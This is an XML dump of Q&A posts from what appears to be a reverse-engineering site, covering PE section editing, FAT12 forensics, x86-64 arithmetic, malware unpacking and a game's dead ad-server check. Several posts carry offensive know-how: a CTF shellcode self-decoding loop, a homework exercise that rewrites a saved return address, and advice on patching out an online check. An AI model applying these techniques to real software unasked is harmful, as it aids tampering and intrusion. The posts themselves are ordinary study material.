  <row Id="8450" PostTypeId="2" ParentId="8390" CreationDate="2015-03-12T20:32:09.517" Score="3" Body="&lt;p&gt;This isn't a language specific concept. The values you'll need to modify as they are (or are meant to be) referenced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;!IMAGE_FILE_HEADER:&#xA;    - NumberOfSections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;!IMAGE_OPTIONAL_HEADER:&#xA;    - SizeOfImage&#xA;    - SizeOfHeaders&#xA;(optional depending on which sections you're modifying. Relevant for .text, .data, and .idata but afaik are unused)&#xA;    - SizeOfCode, SizeOfInitializedData, or SizeOfUninitializedData&#xA;    - BaseOfCode, BaseOfData&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll have to construct a new IMAGE_SECTION_HEADER, some values are dependant on the image.&#xA;    - VirtualAddress and VirtualSize must be aligned to !IMAGE_OPTIONAL_HEADER.SectionAlignment&#xA;    - PointerToRawData and SizeOfRawData must be aligned to !IMAGE_OPTIONAL_HEADER.FileAlignment&#xA;    - PointerToRelocations is a little tricky. If there is not enough space at the end of !IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC], which can be calculated by finding the size of the section it is contained in, subtracting the ::.Size and (::.VirtualAddress - Reloc Section Virtual Address), you must relocate the table. After that, you'll just need to adjust the size and append.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Appending an data section:&#xA;    - Check if enough room in headers for another section&#xA;    - Add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(IMAGE_SECTION_HEADER){ &#xA;.VirtualSize = align_up(%SIZE%, !IMAGE_OPTIONAL_HEADER.SectionAlignment,&#xA;.SizeOfRawData = align_up(%SIZE%, !IMAGE_OPTIONAL_HEADER.FileAlignment),&#xA;.VirtualAddress = find_max(!IMAGE_SECTION_HEADER[].VirtualAddress + !IMAGE_SECTION_HEADER[].VirtualSize),&#xA;.PointerToRawData = find_max(!IMAGE_SECTION_HEADER[].PointerToRawData + !IMAGE_SECTION_HEADER[].SizeOfRawData),&#xA;.Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_INITIALIZED_DATA&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then resize the file, copy your data into the .PointeToRawData&lt;/p&gt;&#xA;" OwnerUserId="3419" LastActivityDate="2015-03-12T20:32:09.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8453" PostTypeId="1" CreationDate="2015-03-13T05:40:25.023" Score="0" ViewCount="134" Body="&lt;p&gt;I aplogize in advanve for my beginners question. I also aplogize if this post is in the wrong thread or the wrong board. I just thought this may belong here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technical part:&#xA;I just downloaded the Game &quot;the suffering&quot; a few days ago. It is for free but ad supported and therefore has no reason not to play it, if you havent done that yet. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is that the servers serving the ads are offline because the publisher does not even exist anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly this means the game is unplayable because before it loads up it checks against the ad-serving server and then starts the game or does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought this is an opportunity for me to learn sth. New and I decided to look into this problem and want to understand the process behind this online-check and maybe get it to run in the end or at least understand how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a certified IT-Engineer and have some experience in programming aswell so I am nit a total noob when it comes to IT-Problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I need help from you guys is where to start and how to get to know what the game is actually doing. I already tried wireshark and some other tools but this does not help me to understand what it is doing and who the check process works.&lt;/p&gt;&#xA;" OwnerUserId="11978" LastActivityDate="2015-03-13T17:06:08.783" Title="The Suffering - Ad supported" Tags="|software-security|" AnswerCount="1" CommentCount="1" ClosedDate="2015-03-16T06:16:39.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="8454" PostTypeId="1" AcceptedAnswerId="8455" CreationDate="2015-03-13T12:44:29.593" Score="3" ViewCount="10756" Body="&lt;p&gt;Let's say I create a program in C like this and compile it on a regular 64-bit desktop machine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;int main(void)&#xA;{&#xA;    uint64_t a = 0x12345679abcdefULL;&#xA;    uint64_t b = 0xfdcba987654321ULL;&#xA;    uint64_t c = a + b;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just tested the code using &lt;code&gt;gcc -O0 -S&lt;/code&gt;. It seems to allocate two 32-bit values on the stack and add then with &lt;code&gt;addl&lt;/code&gt; and &lt;code&gt;adcl&lt;/code&gt; separately. This happens for both &lt;code&gt;-m32&lt;/code&gt; and &lt;code&gt;-m64&lt;/code&gt; switch, even though I am on a 64-bit machine, and there indeed seem to be a dedicated instruction set for 64-bit integers, including operations such as &lt;code&gt;movq&lt;/code&gt; and &lt;code&gt;addq&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why did &lt;code&gt;gcc&lt;/code&gt; produce code like for a 32-bit machine even if I told it to use 64-bit arithmetic with &lt;code&gt;-m64&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;uname -a&#xA;CYGWIN_NT-6.2-WOW work 1.7.35(0.287/5/3) 2015-03-04 12:07 i686 Cygwin&#xA;&#xA;&amp;gt;gcc --version&#xA;gcc (GCC) 4.9.2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, let's say I'm on a 32-bit machine and I operate on 64-bit integers.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;The program allocated two 32-bit variables &lt;strong&gt;on the stack&lt;/strong&gt;. Is this part of a C/C++ standard, or is allocating them on the heap to be expected with some compilers (because they try to fit a 64-bit integer into a 32-bit stack in a different way)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I put &lt;code&gt;movq&lt;/code&gt; in a program designed for a 32-bit machine, will the desired behavior be emulated, or will the instruction be misunderstood?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11980" LastEditorUserId="11980" LastEditDate="2015-03-13T14:56:16.903" LastActivityDate="2018-02-01T09:33:38.730" Title="64-bit integers on 32-bit machines" Tags="|x86|c|x86-64|stack-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8455" PostTypeId="2" ParentId="8454" CreationDate="2015-03-13T13:34:33.950" Score="6" Body="&lt;h2&gt;&lt;strong&gt;1:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See the &lt;strong&gt;Immediates&lt;/strong&gt; section on &lt;a href=&quot;https://web.archive.org/web/20160719053302/www.x86-64.org/documentation/assembly.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this 64 bit assembly reference&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Immediate values inside instructions remain 32 bits and their value is sign extended to 64 bits&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There just isn't an instruction to move a 64 bit immediate value to &lt;em&gt;memory&lt;/em&gt; (*). And because it can be emulated nicely by moving two chunks of 32 bit, there was no reason to introduce new 64 bit instructions. (They could have changed the immediate &lt;code&gt;mov&lt;/code&gt;s to always use 64 bits. But considering that most constants you'll ever use are &amp;lt;= 2^31, using 32 bit only saves a lot of space for the upper zero bytes, and costs a bit when you actually use larger constants, so this saves memory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) However, there are instructions to move a 64 bit immediate value to the 64 bit registers, because you can't access the high 32 bit in registers, opposed to memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why your program produced separate addl/adcl instructions; this is what i got from your program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    pushq   %rbp&#xA;    movq    %rsp, %rbp&#xA;    movl    $2041302511, -24(%rbp)&#xA;    movl    $1193046, -20(%rbp)&#xA;    movl    $-2023406815, -16(%rbp)&#xA;    movl    $16632745, -12(%rbp)&#xA;    movq    -16(%rbp), %rax&#xA;    movq    -24(%rbp), %rdx&#xA;    leaq    (%rdx,%rax), %rax&#xA;    movq    %rax, -8(%rbp)&#xA;    movl    $0, %eax&#xA;    leave&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the &lt;code&gt;leaq    (%rdx,%rax), %rax&lt;/code&gt; adds 64 bit numbers all right. This was a gcc 4.4.7 on a RHEL 6.6 64 bit system. Please, always state your compiler and OS version, as the output may be quite dependent on those.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;2:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As long as you're dealing with an x86/amd64 architecture, you can probably rely on local variables being put on the stack, and global variables not on the stack. But please note the concept of 'stack' and 'heap' aren't as clearly defined as it would seem. The &lt;code&gt;brk/sbrk&lt;/code&gt; mechanism of allocating memory is deprecated; modern implementations use &lt;code&gt;mmap&lt;/code&gt;. This might mean you have several small heaps in different sections of your address space. On ARM and MIPS, there's no stack pointer at all - there's just a convention that one specific register serves as the stack pointer, but the instructions to push/pop would work with other registers as well(*). In theory, the compiler is free to do a &lt;code&gt;mmap()&lt;/code&gt; at the start of each function to allocate local memory, and &lt;code&gt;munmap()&lt;/code&gt; it at the end of the function. The only thing the compiler &lt;em&gt;must&lt;/em&gt; do is not keep the memory allocated (for reasonable definitions of allocated) after the function exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) This is a bit of an oversimplification but demonstrates the concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the idea of using &lt;code&gt;mmap()&lt;/code&gt; to make space for local variables is an extreme example, that &lt;em&gt;probably&lt;/em&gt; noone uses. But lots of compilers put local variables into processor registers and never reserve space on the stack for them (if you never use a pointer to them, and on architectures that aren't as register-starved as x86). Many architectures use processor registers for function arguments as well. And i've seen microcontroller C compilers that allow you to put all variables local to a function into a static area, if you use a certain keyword so the compiler knows the function isn't called recursively. So, while most of the time, local variables will be placed on the stack, you shouldn't assume this is carved in stone.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;3.&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The instruction will be misunderstood. The processor can be in 32 bit or 64 bit mode, and the same instructions (in the meaning of: the same sequence of instruction bytes) have different meanings in each of them. For example, &lt;code&gt;48 89 43 ec&lt;/code&gt; is &lt;code&gt;mov [rbx-20],rax&lt;/code&gt; in 64 bit mode, but &lt;code&gt;dec eax; mov DWORD PTR [ebx-0x14],eax&lt;/code&gt; in 32 bit mode.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="23110" LastEditDate="2018-02-01T09:33:38.730" LastActivityDate="2018-02-01T09:33:38.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8456" PostTypeId="2" ParentId="8453" CreationDate="2015-03-13T17:06:08.783" Score="2" Body="&lt;p&gt;Your wireshark logs should tell you if the game tries to resolve some DNS entries that don't exist anymore (or maybe even some that do exist), and to which IP addresses it connects. If you're lucky, it'll connect to a port 80 somewhere, so you'd know it's trying to talk to a web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you could set up your own web server, and use tricks like an entry in the &lt;code&gt;hosts&lt;/code&gt; file to redirect the traffic to your own server(*) and check what the game tries to access. If it issues a &lt;code&gt;GET /randomad.jpg HTTP/1.0&lt;/code&gt;, place an 1x1 white pixel jpg file on your server, and look what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) Obviously, this won't work if the game tries to access an IP address directly. The easiest way to resolve this, in my opinion, is installing VirtualBox, creating a host-only network with IP addresses in the range you want to monitor, and assigning the target IP to your guest. If you want to do this more often, the most flexible way is replacing your router with a Linux box and using &lt;code&gt;iptables&lt;/code&gt; to do all kind of dirty stuff to your network packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the game could request a &lt;code&gt;ad-info.xml&lt;/code&gt; file, or not use HTTP at all. In this case, it's going to be much harder, as you don't know what response is expected, and there are no real servers to trace anymore. This is where you'll have to learn a &lt;em&gt;lot&lt;/em&gt; about assembly and processor architecture, and use tools like &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow&quot;&gt;Ollydbg&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;Ida&lt;/a&gt; to disassemble the program, search for where the program tries to display an ad, and change the program code accordingly. You will need a lot of time for this (at least several months if you're new to assembly), but you'll also learn a lot doing this.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-13T17:06:08.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8457" PostTypeId="1" AcceptedAnswerId="8458" CreationDate="2015-03-13T17:47:43.843" Score="2" ViewCount="108" Body="&lt;p&gt;I am currently investigating a disk image with a FAT12 file system for data recovery purpose/researching for image file carving. For this investigation, I have the actual files (JPEG images) that need to be carved/recovered from the disk image so that I can validate my results obtained from the carving process/recovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the comparison and analysis from the recovered files, I noticed that exactly between two consecutive clusters (each of size 16384 bytes/32 sectors) of file data, 4 extra/embedded bytes are being encountered. These repetitive and distinct 4 bytes that are being encountered between clusters are not found in the corresponding actual files. I think that these bytes are used somehow by the file system and hence they should be removed, is this right? If yes, what is their purposes and how can be identified during the recovery process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, when I analyzed the same disk image using &lt;a href=&quot;http://www.sleuthkit.org/autopsy/&quot; rel=&quot;nofollow&quot;&gt;Autopsy&lt;/a&gt; the embedded 4 bytes between consecutive clusters were discarded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hex dump:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual File that needs to be recovered from disk (hex between 2 clusters):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15&#xA;&#xA;00016336   BC 55 B4 F8 A5 E1 69 82  2A DD 4A 5D DC 46 B9 80   ¼U´ø¥ái‚*ÝJ]ÜF¹€&#xA;00016352   E1 33 D3 F9 76 AE 8A 79  2E 22 0F 58 EE 67 FD AD   á3Óùv®Šy.&quot; Xîgý­&#xA;00016368   49 E9 7B 76 45 99 3E 25  69 36 F2 00 8B 71 70 C0   Ié{vE™&amp;gt;%i6ò ‹qpÀ&#xA;00016384   FC BB 6D 65 E9 DC F2 30  7E BD 6A B4 BF 17 52 0B   ü»meéÜò0~½j´¿ R &#xA;00016400   64 9A 2D 13 58 B8 0E FB  13 65 9B 1E 87 93 F9 00   dš- X¸ û e› ‡“ù &#xA;00016416   7F 11 55 4F 21 AD A7 3A  51 D7 B9 CF 3C DE 35 25    UO!­§:Q×¹Ï&amp;lt;Þ5%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disk Image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15&#xA;&#xA;00132880   BC 55 B4 F8 A5 E1 69 82  2A DD 4A 5D DC 46 B9 80   ¼U´ø¥ái‚*ÝJ]ÜF¹€&#xA;00132896   E1 33 D3 F9 76 AE 8A 79  2E 22 0F 58 EE 67 FD AD   á3Óùv®Šy.&quot; Xîgý­&#xA;00132912   49 E9 7B 76 45 99 3E 25  69 36 F2 00 8B 71 70 C0   Ié{vE™&amp;gt;%i6ò ‹qpÀ&#xA;00132928   08 B5 A9 88 FC BB 6D 65  E9 DC F2 30 7E BD 6A B4    µ©ˆü»meéÜò0~½j´&#xA;00132944   BF 17 52 0B 64 9A 2D 13  58 B8 0E FB 13 65 9B 1E   ¿ R dš- X¸ û e› &#xA;00132960   87 93 F9 00 7F 11 55 4F  21 AD A7 3A 51 D7 B9 CF   ‡“ù  UO!­§:Q×¹Ï&#xA;00132976   3C DE 35 25                                        &amp;lt;Þ5%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the above hex dump it can be visualized that &lt;strong&gt;08 B5 A9 88&lt;/strong&gt; is exactly between the two clusters, however in the actual file those 4 bytes were eliminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This case was encountered while recovering JPEG images from &lt;a href=&quot;http://digitalcorpora.org/corpora/disk-images/nps-2009-canon2/&quot; rel=&quot;nofollow&quot;&gt;nps-2009-canon2-gen6 disk image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11981" LastActivityDate="2015-03-13T18:54:50.277" Title="Extra bytes between clusters in FAT12" Tags="|file-format|hex|digital-forensics|operating-systems|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8458" PostTypeId="2" ParentId="8457" CreationDate="2015-03-13T18:54:50.277" Score="2" Body="&lt;p&gt;Your files aren't plain disk images, they are using the &lt;a href=&quot;http://www.forensicswiki.org/wiki/ASR_Data%27s_Expert_Witness_Compression_Format&quot; rel=&quot;nofollow&quot;&gt;Encase File Format&lt;/a&gt;. Your repetitive bytes seem to be artifacts of that file format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;a href=&quot;https://www.guidancesoftware.com/resources/Pages/doclib/Document-Library/EnCase-Evidence-File-Format-Version-2.aspx&quot; rel=&quot;nofollow&quot;&gt;newer specification&lt;/a&gt; of the file format as well, but it requires registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Autopsy probably recognizes the file format, so it removes the parts of the file that belong to the file format, not the sector dump data.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-13T18:54:50.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8459" PostTypeId="1" CreationDate="2015-03-13T22:39:13.980" Score="1" ViewCount="1342" Body="&lt;p&gt;I am trying some CTF style challenges where I have to write shellcode in x86_64 targeting Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the later challenges, the code grows a lot. I now have a large array of bytes I cannot use directly in the shellcode. My idea is to load the code, then manipulate it with add/sub and such in a first stage, then execute the decoded instructions later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decoding however does not &lt;em&gt;always&lt;/em&gt; work properly. Mostly, when I try to use pointers like &lt;code&gt;[rax]&lt;/code&gt;, the content read during runtime is not the same as the one read by &lt;code&gt;gdb&lt;/code&gt;. Here is a simplified version of what I am trying to do :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decrypt:&#xA;  cmp byte [rax], 0x66&#xA;  jae no_change&#xA;  cmp byte [rax], 0&#xA;  je no_change&#xA;    add byte [rax], 0x3f&#xA;&#xA;no_change:&#xA;  inc [rax]&#xA;  loop decrypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work. Usually &lt;code&gt;[rax]&lt;/code&gt; is not read properly. However when I add a few &lt;code&gt;NOP&lt;/code&gt; instructions in front of the &lt;code&gt;no_change&lt;/code&gt; label then it works correct. I just don't get why I can't use &lt;code&gt;[rax]&lt;/code&gt; to point to any location.&lt;/p&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="53" LastEditDate="2015-12-17T17:15:55.773" LastActivityDate="2015-12-17T17:15:55.773" Title="Shellcode alignment problem" Tags="|assembly|shellcode|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8463" PostTypeId="1" CreationDate="2015-03-14T12:39:56.173" Score="3" ViewCount="13282" Body="&lt;p&gt;I am trying to learn how to unpack a malware. I am trying this with ollydbg. However, when I try to dump the unpacked using ollydump plugin. It prompts the error &quot;Bad DOS signature!!&quot;. Could someone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I found so far is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Malware is calling VirtualAlloc (allocated region is readable/writable and executable/)&lt;/li&gt;&#xA;&lt;li&gt;I kept a hardware breakpoint on the allocated address&lt;/li&gt;&#xA;&lt;li&gt;when the control reached that memory, I ran ollydump. It throws &quot;Bad DOS Signature&quot;&lt;img src=&quot;https://i.stack.imgur.com/RLyf6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any pointers to unpack this malware?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2017-12-03T00:55:57.567" Title="Unpacking and dumping using ollydump" Tags="|ollydbg|malware|unpacking|dumping|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8464" PostTypeId="1" AcceptedAnswerId="8487" CreationDate="2015-03-14T13:05:44.540" Score="5" ViewCount="289" Body="&lt;p&gt;This is a homework assignment, so I'd appreciate it if I would get a hint only, not a full answer. I wrote this program which is supposed to print the following:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Executing function_a&#xA;Executing function_b&#xA;Finished!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;main()&lt;/code&gt; and &lt;code&gt;function_a()&lt;/code&gt; functions were given, and I'm only allowed to change &lt;code&gt;function_b()&lt;/code&gt; in the marked part.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;void function_b(void) {&#xA;    char buffer[4];&#xA;&#xA;    // edit between here...&#xA;    uint32_t * x = &amp;amp;buffer;&#xA;    while (*(x++) != 0xa0b1c2d3);           // Find the beacon&#xA;    *(uint32_t*)(&amp;amp;buffer + 6) = *(x + 2);   // Copy return address from caller&#xA;    *(uint32_t*)(&amp;amp;buffer + 5) = *(x + 1);   // Copy frame pointer from caller&#xA;    // ... and here&#xA;&#xA;    fprintf(stdout, &quot;Executing function_b\n&quot;);&#xA;}&#xA;&#xA;void function_a(void) {&#xA;    int beacon = 0xa0b1c2d3;&#xA;    fprintf(stdout, &quot;Executing function_a\n&quot;);&#xA;    function_b();&#xA;    fprintf(stdout, &quot;Executed function_b\n&quot;);&#xA;}&#xA;&#xA;int main(void) {&#xA;    function_a();&#xA;    fprintf(stdout, &quot;Finished!\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is of course to make sure that 'Executed function_b' is not outputted. We have to manipulate the stack so that when returning from &lt;code&gt;function_b()&lt;/code&gt; we don't go back to its actual parent &lt;code&gt;function_a()&lt;/code&gt; but to its grandfather &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part of the code I wrote finds the beacon from &lt;code&gt;function_a()&lt;/code&gt; and then copies the return address and saved frame pointer of &lt;code&gt;function_a()&lt;/code&gt; to the frame of &lt;code&gt;function_b()&lt;/code&gt;. My program does the following:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Executing function_a&#xA;Executing function_b&#xA;Finished!&#xA;Segmentation fault (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it does the right thing, except for the segfault. It fails when returning from the &lt;code&gt;main()&lt;/code&gt; function. I used gdb to get this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run&#xA;Starting program: /.../exercise2c&#xA;Executing function_a&#xA;&#xA;Breakpoint 1, function_b () at exercise2c.c:9&#xA;9       *(uint32_t*)(&amp;amp;buffer + 6) = *(x + 2);   // Copy return address from caller&#xA;(gdb) backtrace&#xA;#0  function_b () at exercise2c.c:9&#xA;#1  0x0000000000400607 in function_a () at exercise2c.c:18&#xA;#2  0x0000000000400630 in main () at exercise2c.c:23&#xA;(gdb) info frame&#xA;Stack level 0, frame at 0x7fffffffdcb0:&#xA; rip = 0x400593 in function_b (exercise2c.c:9); saved rip = 0x400607&#xA; called by frame at 0x7fffffffdcd0&#xA; source language c.&#xA; Arglist at 0x7fffffffdca0, args: &#xA; Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0&#xA; Saved registers:&#xA;  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8&#xA;(gdb) frame 1&#xA;#1  0x0000000000400607 in function_a () at exercise2c.c:18&#xA;18      function_b();&#xA;(gdb) info frame&#xA;Stack level 1, frame at 0x7fffffffdcd0:&#xA; rip = 0x400607 in function_a (exercise2c.c:18); saved rip = 0x400630&#xA; called by frame at 0x7fffffffdce0, caller of frame at 0x7fffffffdcb0&#xA; source language c.&#xA; Arglist at 0x7fffffffdcc0, args: &#xA; Locals at 0x7fffffffdcc0, Previous frame's sp is 0x7fffffffdcd0&#xA; Saved registers:&#xA;  rbp at 0x7fffffffdcc0, rip at 0x7fffffffdcc8&#xA;(gdb) step&#xA;10      *(uint32_t*)(&amp;amp;buffer + 5) = *(x + 1);   // Copy frame pointer from caller&#xA;(gdb) step&#xA;12      fprintf(stdout, &quot;Executing function_b\n&quot;);&#xA;(gdb) frame 0&#xA;#0  function_b () at exercise2c.c:12&#xA;12      fprintf(stdout, &quot;Executing function_b\n&quot;);&#xA;(gdb) info frame&#xA;Stack level 0, frame at 0x7fffffffdcb0:&#xA; rip = 0x4005b5 in function_b (exercise2c.c:12); saved rip = 0x400630&#xA; called by frame at 0x7fffffffdcd0&#xA; source language c.&#xA; Arglist at 0x7fffffffdca0, args: &#xA; Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0&#xA; Saved registers:&#xA;  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8&#xA;(gdb) backtrace&#xA;#0  function_b () at exercise2c.c:12&#xA;#1  0x0000000000400630 in main () at exercise2c.c:23&#xA;(gdb) continue&#xA;Continuing.&#xA;Executing function_b&#xA;Finished!&#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x0000000000400654 in main () at exercise2c.c:26&#xA;26  }(gdb) &#xA;Continuing.&#xA;&#xA;Program terminated with signal SIGSEGV, Segmentation fault.&#xA;The program no longer exists.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can clearly see that &lt;code&gt;function_b()&lt;/code&gt; indeed returns to &lt;code&gt;main()&lt;/code&gt;, but for some reason that I don't understand &lt;code&gt;main()&lt;/code&gt; crashes. The only way I could see that happen is that I messed with the stack frame of &lt;code&gt;main()&lt;/code&gt;, which I didn't, or that I should have changed something there - but I wouldn't know what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the program is compiled with GCC and the flags &lt;code&gt;-g -fno-omit-frame-pointer -fno-stack-protector&lt;/code&gt;. I'm on a 64-bit machine.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorUserId="1562" LastEditDate="2015-03-14T19:55:59.303" LastActivityDate="2015-03-18T07:39:32.270" Title="Returning a C function to its grandfather" Tags="|c|gdb|x86-64|callstack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8465" PostTypeId="2" ParentId="8464" CreationDate="2015-03-14T20:52:05.763" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm on a 64-bit machine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your code in &lt;code&gt;function_b()&lt;/code&gt; treats pointers as 32-bit values instead of 64-bit values. You should be using &lt;code&gt;uint64_t*&lt;/code&gt; instead of &lt;code&gt;uint32_t*&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-03-15T15:21:46.903" LastActivityDate="2015-03-15T15:21:46.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8466" PostTypeId="1" CreationDate="2015-03-14T21:23:07.247" Score="1" ViewCount="75" Body="&lt;p&gt;I am trying to obtain some mesh data from a game which stores its collision surfaces for props/models in an array of &quot;CollTri&quot; structures which looks like this (taken from the limited source code I have access to):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct CollTri&#xA;{&#xA;  vec4_t plane;&#xA;  vec4_t svec;&#xA;  vec4_t tvec;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's parent structure for reference is &quot;CollSurf&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct CollSurf&#xA;{&#xA;  CollTri *collTris;&#xA;  int numCollTris;&#xA;  vec3_t mins;&#xA;  vec3_t maxs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I go about interpreting these &quot;CollTri&quot; structures and converting them into a triangle list for easy mesh creation? It's unclear to me what &quot;svec&quot; and 